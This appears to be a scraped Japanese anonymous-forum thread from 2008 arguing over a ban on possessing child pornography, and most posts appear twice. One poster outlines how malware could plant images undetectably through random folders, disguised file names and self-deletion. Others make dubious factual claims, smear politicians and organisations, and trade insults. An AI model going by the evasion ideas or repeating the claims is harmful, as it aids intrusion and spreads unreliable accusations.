君は、児童ポルノ製造罪のない国で製造した児童ポルノを日本国内で頒布しても、
人権侵害なしとして児童ポルノ頒布罪は適用されないと考えているのか？
964 ：名無しさん＠九周年：2008/08/20(水) 15:41:06 ID:md7CttpT0
>>947
平気で覗きをやっている集団がいるんだよ。最初はばれないようにやる。
あとは、嫌がらせで本人にわかるように苦痛を与えてくるよ。
ハイテク盗撮で物的証拠が取れない。そのことを隠蔽したいカルトが
冤罪のために使うよ。
平気で覗きをやっている集団がいるんだよ。最初はばれないようにやる。
あとは、嫌がらせで本人にわかるように苦痛を与えてくるよ。
ハイテク盗撮で物的証拠が取れない。そのことを隠蔽したいカルトが
冤罪のために使うよ。
正直、この法案これだけ取りまれる内容にしてほしい。
１．児童への性的虐待行為およびその行為を記録し所持したり、販売したり頒布する行為
２．性交可能年齢に達する前の児童への性行為（すでに強姦罪にあたる）
３．児童への買春
ここでいう児童は１８歳未満（１．で性的虐待に限定しているので夫婦間(妻が１７歳以下）でも適用できる）
買春には金品や地位などを享受させたり、生活の場を与える事を含む。
１．児童への性的虐待行為およびその行為を記録し所持したり、販売したり頒布する行為
２．性交可能年齢に達する前の児童への性行為（すでに強姦罪にあたる）
３．児童への買春
ここでいう児童は１８歳未満（１．で性的虐待に限定しているので夫婦間(妻が１７歳以下）でも適用できる）
買春には金品や地位などを享受させたり、生活の場を与える事を含む。
>>921
>しかし
>もし所持した児童ポルノを誰にも見せずどこにも出さず
>人知れず、箱の中に猫と一緒に保管したとすると、どうか
>それはもう存在しないのと同義ではあるまいか
以下はあくまで単純所持禁止が成立した場合の仮定の話な。
君が挙げたケースでも、将来の拡散という危険性は除去されない。
この仮定の上では、その危険性の存在は児童の人権侵害だね。
>しかし
>もし所持した児童ポルノを誰にも見せずどこにも出さず
>人知れず、箱の中に猫と一緒に保管したとすると、どうか
>それはもう存在しないのと同義ではあるまいか
以下はあくまで単純所持禁止が成立した場合の仮定の話な。
君が挙げたケースでも、将来の拡散という危険性は除去されない。
この仮定の上では、その危険性の存在は児童の人権侵害だね。
969 ：名無しさん＠九周年：2008/08/20(水) 15:43:32 ID:9e/4x9gm0
目をギラギラさせ、よだれを垂らしながらヌードや過激なエロシーンのある
少女マンガ・ボーイズラブ・レディースコミックを読んでいる自民党・森山眞弓が
児童ポルノ禁止法成立と叫んでも、権利も説得力も無し・・・・（ｗ
少女マンガ・ボーイズラブ・レディースコミックを読んでいる自民党・森山眞弓が
児童ポルノ禁止法成立と叫んでも、権利も説得力も無し・・・・（ｗ
970 ：名無しさん＠九周年：2008/08/20(水) 15:43:34 ID:goo4DzbW0
>>962
＞また、仮に「自分の出演作品を持っている」人間の数＝０ になったとしても
＞それが明確に証明されねば苦痛は少しも減じないと考えられる
＞（「もしまだ誰かが持っていたら…」）
逆に言えば、人間の数が１００でも
０であると虚偽の証明がなされれば苦痛が減じる可能性もある。
だから厳密には所持と侵害は別次元の話になる。
必要なのは、むしろカウンセリングの方だな。
＞また、仮に「自分の出演作品を持っている」人間の数＝０ になったとしても
＞それが明確に証明されねば苦痛は少しも減じないと考えられる
＞（「もしまだ誰かが持っていたら…」）
逆に言えば、人間の数が１００でも
０であると虚偽の証明がなされれば苦痛が減じる可能性もある。
だから厳密には所持と侵害は別次元の話になる。
必要なのは、むしろカウンセリングの方だな。
民主党案は新たに児童ポルノの盗撮も処罰の対象とした。
もちろん被害者本人が知らないケースもあるだろうが、
これも個人的法益を侵害していると判断したのだろう。
もちろん被害者本人が知らないケースもあるだろうが、
これも個人的法益を侵害していると判断したのだろう。
972 ：名無しさん＠九周年：2008/08/20(水) 15:45:02 ID:3orsUuP20
>>963
＞本人は誰かに見られるのではないかという潜在的な苦痛を抱えているんだぞ。
＞そのような本人が認知していない人権侵害も救済してやる必要はあるだろ。
ほんとどうして反対派ってこんな簡単なことがわからないんだろうね。
よっぽどわからないふりをしなければならない理由があるとすれば、自分のを捨てたくない
ってところだろうけど。
＞本人は誰かに見られるのではないかという潜在的な苦痛を抱えているんだぞ。
＞そのような本人が認知していない人権侵害も救済してやる必要はあるだろ。
ほんとどうして反対派ってこんな簡単なことがわからないんだろうね。
よっぽどわからないふりをしなければならない理由があるとすれば、自分のを捨てたくない
ってところだろうけど。
釣りなのか真性なのか
974 ：名無しさん＠九周年：2008/08/20(水) 15:45:29 ID:akKKNkN+0
>>963
>本人は誰かに見られるのではないかという潜在的な苦痛を抱えているんだぞ。
>そのような本人が認知していない人権侵害も救済してやる必要はあるだろ。
だからそんなこと言い出したら際限が無くなるって。
だいたい児童ポルノのどこからどこまでが違法にするか、という議論ですら当人には苦痛になるかもしれない。
あんたは被害者に配慮して議論しないのかね？
>本人は誰かに見られるのではないかという潜在的な苦痛を抱えているんだぞ。
>そのような本人が認知していない人権侵害も救済してやる必要はあるだろ。
だからそんなこと言い出したら際限が無くなるって。
だいたい児童ポルノのどこからどこまでが違法にするか、という議論ですら当人には苦痛になるかもしれない。
あんたは被害者に配慮して議論しないのかね？
975 ：名無しさん＠九周年：2008/08/20(水) 15:45:52 ID:651Ef1zrO
976 ：名無しさん＠九周年：2008/08/20(水) 15:45:55 ID:/wqP4ago0
【 ロリコンじゃなければ逮捕されないと思ったら大間違い 】
・児童ポルノ画像を勝手にPCに保存するウイルス「MELLPON.A」
・児童ポルノを見つけて通報するウイルス「NOPED」
これらはすでに 実 在 す る ウ イ ル ス です
児童ポルノの単純所持の違法化後、
次のようなことが起こったら、ど う や っ て 冤 罪 を 証 明 できますか？
１．MELLPON.A に感染して自分のPCに児童ポルノ画像が保存される
２．PCにインストールされたウイルスチェックソフトが MELLPON.A を検知して
自動駆除（削除）
３．その後 NOPED に感染し、MELLPON.A が残した児童ポルノ画像を見つけて
警察当局に通報された
ウイルスが残した画像だと主張しても、MELLPON.A はすでに削除されているので
証拠がありません
ウイルスを自動駆除したログが残っていても、問題の画像がウイルスによって
保存されたという直接的証拠にはなりません
（ウイルス駆除後は、問題の画像とウイルスの関連を証明する証拠が残りません）
著作権と同じように被写体の死後なら公開してもいいことにしようぜ
これなら被害者は出ないでしょ
これなら被害者は出ないでしょ
978 ：名無しさん＠九周年：2008/08/20(水) 15:46:58 ID:pkgC6fCO0
979 ：名無しさん＠九周年：2008/08/20(水) 15:47:14 ID:vIz6bhzY0
>>960
いや児童ポルノウイルスの件は審議でも議題に上がっている。
いや児童ポルノウイルスの件は審議でも議題に上がっている。
980 ：名無しさん＠九周年：2008/08/20(水) 15:47:16 ID:7jo0ogr4O
みんな、ヤクザに釣られて大変だね。
981 ：名無しさん＠九周年：2008/08/20(水) 15:47:16 ID:CbP0Wb4w0
ここ見てるとやっぱり、この法改正は必要だと思うね〜
反対してる理由が異常。
児童ポルノを所持したいがための一心で、
反対のための理由を必死で考えて集めたものになってる。
そんなにまでして所持したい層は処分された方が平和でいいね。
反対してる理由が異常。
児童ポルノを所持したいがための一心で、
反対のための理由を必死で考えて集めたものになってる。
そんなにまでして所持したい層は処分された方が平和でいいね。
>>953
>法律で人権侵害が認定されることはあるんだから仕方ないじゃないか。
だから改悪前に反対してるんだろ。
単純所持が国民の総意で何の問題もなくメリットだらけなら、1999年時点で成立してたよ。
>拡散の危険性という人権侵害を重視して、所持を禁止することを法律で認めるべきという議論だよ？
それは販売・配布禁止で達成できる。
>違法労働は所持を禁止するほどの人権侵害が認められないだけ。
死ぬ子供が出てるのに？
>>963
配布は人権侵害だから違法なんじゃないよ。
>法律で人権侵害が認定されることはあるんだから仕方ないじゃないか。
だから改悪前に反対してるんだろ。
単純所持が国民の総意で何の問題もなくメリットだらけなら、1999年時点で成立してたよ。
>拡散の危険性という人権侵害を重視して、所持を禁止することを法律で認めるべきという議論だよ？
それは販売・配布禁止で達成できる。
>違法労働は所持を禁止するほどの人権侵害が認められないだけ。
死ぬ子供が出てるのに？
>>963
配布は人権侵害だから違法なんじゃないよ。
983 ：名無しさん＠九周年：2008/08/20(水) 15:49:13 ID:/wqP4ago0
985 ：名無しさん＠九周年：2008/08/20(水) 15:49:31 ID:651Ef1zrO
986 ：名無しさん＠九周年：2008/08/20(水) 15:50:10 ID:vIz6bhzY0
>>981
単純所持規制は様々な罪もない被害者を生む。↓はその一部の例。
児童への人権侵害が行われている点。
単なるグラビアで逮捕された業者もおり、また逮捕を恐れて取り扱いを辞めた業者もいる。
だから、表現の自由を求めて反対している児童(グラドル)もいる。児童への人権侵害は酷だ。
2点目。
「児童ポルノ所持で逮捕される人達の例」
・発売後、モデルが18歳未満と判明した市販AVも多数。
・思春の森のような児童ポルノ映画も、昔は普通に市販されていた。（昔は邦画でも高校生が性行為を演じた作品は多々）
・18歳未満ヌード写真集のような児童ポルノ本は、昔は普通に近所の書店で売られベストセラーともなっていた。
これら市販品を購入した児童ポルノ所持者は数百万人以上なのは疑いようもなく、ロリコン犯罪者として逮捕される。
捨てるよう周知に一生懸命努めても、到底、周知は不可能。(地デジ問題が好例)
また、法文上は子供の時の自身の入浴写真所持ですら逮捕要件は満たされる。
国会議員は無責任に警察を全面的に信用して法律を丸投げすることは許されないし、
法律が施行される結果にも責任を持ち、制定されなければならない。
議員は”政治が問題を作り出す”を一体いつまで繰り返すつもり？
3点目。画像類から女子高生と成人女性(特に20代)との判別が不可能な点。
一般に女性は高校入学前に成長が止まるため、
女子高生と成人女性を身体的特徴から判別することは、専門家でも原則不可能。
成人女性と思い保存してた画像類が女子高生という場合は一般に起こりうるし、実際に度々起こらないわけがない。
類似法案である児童買春防止法では、児童が「18歳以上」と偽り騙された買春者までロリコンの汚名を着せられ逮捕されてる。
世界各国とは違い、日本の警察では高校生の児童ポルノを中心に取り締まっている。
成人女性と思って保存してた画像類が女子高生だった場合、
家宅捜索で地域社会からはロリコン犯罪者扱いされ、家を売却して逃げたり失職し家庭崩壊したり、
これらが多々発生しないわけがない。
彼らには過失もない。多数の子供達も大人も犠牲者になる為、あまりにも可哀想。
単純所持規制は様々な罪もない被害者を生む。↓はその一部の例。
児童への人権侵害が行われている点。
単なるグラビアで逮捕された業者もおり、また逮捕を恐れて取り扱いを辞めた業者もいる。
だから、表現の自由を求めて反対している児童(グラドル)もいる。児童への人権侵害は酷だ。
2点目。
「児童ポルノ所持で逮捕される人達の例」
・発売後、モデルが18歳未満と判明した市販AVも多数。
・思春の森のような児童ポルノ映画も、昔は普通に市販されていた。（昔は邦画でも高校生が性行為を演じた作品は多々）
・18歳未満ヌード写真集のような児童ポルノ本は、昔は普通に近所の書店で売られベストセラーともなっていた。
これら市販品を購入した児童ポルノ所持者は数百万人以上なのは疑いようもなく、ロリコン犯罪者として逮捕される。
捨てるよう周知に一生懸命努めても、到底、周知は不可能。(地デジ問題が好例)
また、法文上は子供の時の自身の入浴写真所持ですら逮捕要件は満たされる。
国会議員は無責任に警察を全面的に信用して法律を丸投げすることは許されないし、
法律が施行される結果にも責任を持ち、制定されなければならない。
議員は”政治が問題を作り出す”を一体いつまで繰り返すつもり？
3点目。画像類から女子高生と成人女性(特に20代)との判別が不可能な点。
一般に女性は高校入学前に成長が止まるため、
女子高生と成人女性を身体的特徴から判別することは、専門家でも原則不可能。
成人女性と思い保存してた画像類が女子高生という場合は一般に起こりうるし、実際に度々起こらないわけがない。
類似法案である児童買春防止法では、児童が「18歳以上」と偽り騙された買春者までロリコンの汚名を着せられ逮捕されてる。
世界各国とは違い、日本の警察では高校生の児童ポルノを中心に取り締まっている。
成人女性と思って保存してた画像類が女子高生だった場合、
家宅捜索で地域社会からはロリコン犯罪者扱いされ、家を売却して逃げたり失職し家庭崩壊したり、
これらが多々発生しないわけがない。
彼らには過失もない。多数の子供達も大人も犠牲者になる為、あまりにも可哀想。
オタが隠し持った10徳ナイフどころか
核弾頭並に危険な法律になりかけてるのにね
危ないとされるのは前者で、後者は頭おかしい人たちが炸裂させなきゃ
子供が守れない云々と電波ゆんゆん飛ばしてる・・・
核弾頭並に危険な法律になりかけてるのにね
危ないとされるのは前者で、後者は頭おかしい人たちが炸裂させなきゃ
子供が守れない云々と電波ゆんゆん飛ばしてる・・・
>>974
>だからそんなこと言い出したら際限が無くなるって。
際限は現行法なら製造・販売・配布・拡散目的所持まで、改正法なら単純所持まででちゃんとあるだろ。
>だいたい児童ポルノのどこからどこまでが違法にするか、
>という議論ですら当人には苦痛になるかもしれない。
>あんたは被害者に配慮して議論しないのかね？
苦痛になるかもしれないということで、問題を放置できないだろ。
「自分の性行為を他人に所持され、見られ、拡散される恐れがある」という
具体的に考えられる被害者に人権に配慮するからこそ、改正が必要なんじゃないか？
>だからそんなこと言い出したら際限が無くなるって。
際限は現行法なら製造・販売・配布・拡散目的所持まで、改正法なら単純所持まででちゃんとあるだろ。
>だいたい児童ポルノのどこからどこまでが違法にするか、
>という議論ですら当人には苦痛になるかもしれない。
>あんたは被害者に配慮して議論しないのかね？
苦痛になるかもしれないということで、問題を放置できないだろ。
「自分の性行為を他人に所持され、見られ、拡散される恐れがある」という
具体的に考えられる被害者に人権に配慮するからこそ、改正が必要なんじゃないか？
989 ：名無しさん＠九周年：2008/08/20(水) 15:50:37 ID:WxdayWW70
http://headlines.yahoo.co.jp/hl?a=20080820-00000042-zdn_ep-sci
URLをコピペしたら悪質サイトに――乗っ取り被害が続出
8月20日9時28分配信 ITmediaエンタープライズ
●こんな事件山の様に有るのにネット時代で定義も絞らない法律
とか試行すれば、ネットに繋いでる人が全員容疑者扱いされる可
能性有るぞ
URLをコピペしたら悪質サイトに――乗っ取り被害が続出
8月20日9時28分配信 ITmediaエンタープライズ
●こんな事件山の様に有るのにネット時代で定義も絞らない法律
とか試行すれば、ネットに繋いでる人が全員容疑者扱いされる可
能性有るぞ
990 ：名無しさん＠九周年：2008/08/20(水) 15:51:34 ID:/wqP4ago0
【 ロリコンじゃなければ逮捕されないと思ったら大間違い 】
>>976つづき
もちろん、MELLPON.A や NOPED だけに気を付けていてもダメです
ウイルスというのは日々新たなバージョンが登場しています
いずれ MELLPON.A や NOPED と同じ機能を持ち、
より狡猾で発見されにくいウイルスが出てくるのは歴史的にもほぼ確実です
MELLPON.A は今のところ比較的見つけやすい仕様ですが、以下のように
仕様変更されれば、仕込まれた児童ポルノ画像の全摘出は技術的にほぼ不可能
となります
・児童ポルノ画像を格納するフォルダ名をランダムにする
・同上のフォルダを、ディレクトリ階層の深い、任意の場所をランダムに選んで格納する
・感染先にコピーする児童ポルノ画像の数をランダムに変える
・児童ポルノ画像のファイル名や拡張子を、それとわからないランダムな名前に変える
・児童ポルノ画像をコピーしたら自分自身を削除する
NOPED が通報する先は今のところ日本の警察機関ではありませんが、
通報先を日本の警察機関に変えることは MELLPON.A の仕様変更より
はるかに簡単です
これは、あなたの身にも起こることなのですよ？
まじで賛成派は基地外じみてる
アメリカの惨状が理解できてないらしい
なぜ単純所持を禁止しているはずのアメリカ合衆国が
今でも児童ポルノ発信数ナンバーワンなのかを考えたことがありますか？
ばかですか？
アメリカの惨状が理解できてないらしい
なぜ単純所持を禁止しているはずのアメリカ合衆国が
今でも児童ポルノ発信数ナンバーワンなのかを考えたことがありますか？
ばかですか？
>>988
冤罪被害者への人権配慮は？
冤罪被害者への人権配慮は？
なんかここに来て急に釣りが増えてきたな
994 ：名無しさん＠九周年：2008/08/20(水) 15:52:39 ID:Qy2YzhxY0
>>979
餌与えんなよ
餌与えんなよ
995 ：名無しさん＠九周年：2008/08/20(水) 15:53:23 ID:goo4DzbW0
子供持ってる親でも、法改正の本質がわかれば賛成しないだろこれ
それくらいおかしいもの
それくらいおかしいもの
997 ：名無しさん＠九周年：2008/08/20(水) 15:53:52 ID:/wqP4ago0
【 児童ポルノ法改正 】
〜誰が言い出したの？〜
・ダメリカ大使（日本を「児童ポルノ大国」と名指し。後に根拠がないことが発覚）
・自民女性議員（森山真弓，高市早苗 等）
・公明党（層化）
・日本ユニセフ協会 (国連の機関じゃない＋アグネスチャンは池ＤＡの歌を歌っている＋支援金の２５％を天引き組織）
・毎日変態新聞
998 ：名無しさん＠九周年：2008/08/20(水) 15:54:01 ID:vIz6bhzY0
>>995
お前は黙れ。反対派にとっても邪魔
お前は黙れ。反対派にとっても邪魔
999 ：名無しさん＠九周年：2008/08/20(水) 15:54:05 ID:5PMRdxqo0
>>985
ほんとにね。公に反対できないでここでうだうだ言うしかない…
そりゃそうだ、リアルで誰に言っても完全に変態扱いされるし、
身内や友人にいたら間違い無くそう思って距離を置くよね。
人に言えない秘密の趣味で終わらせたら危険だなと思う次第。
ほんとにね。公に反対できないでここでうだうだ言うしかない…
そりゃそうだ、リアルで誰に言っても完全に変態扱いされるし、
身内や友人にいたら間違い無くそう思って距離を置くよね。
人に言えない秘密の趣味で終わらせたら危険だなと思う次第。
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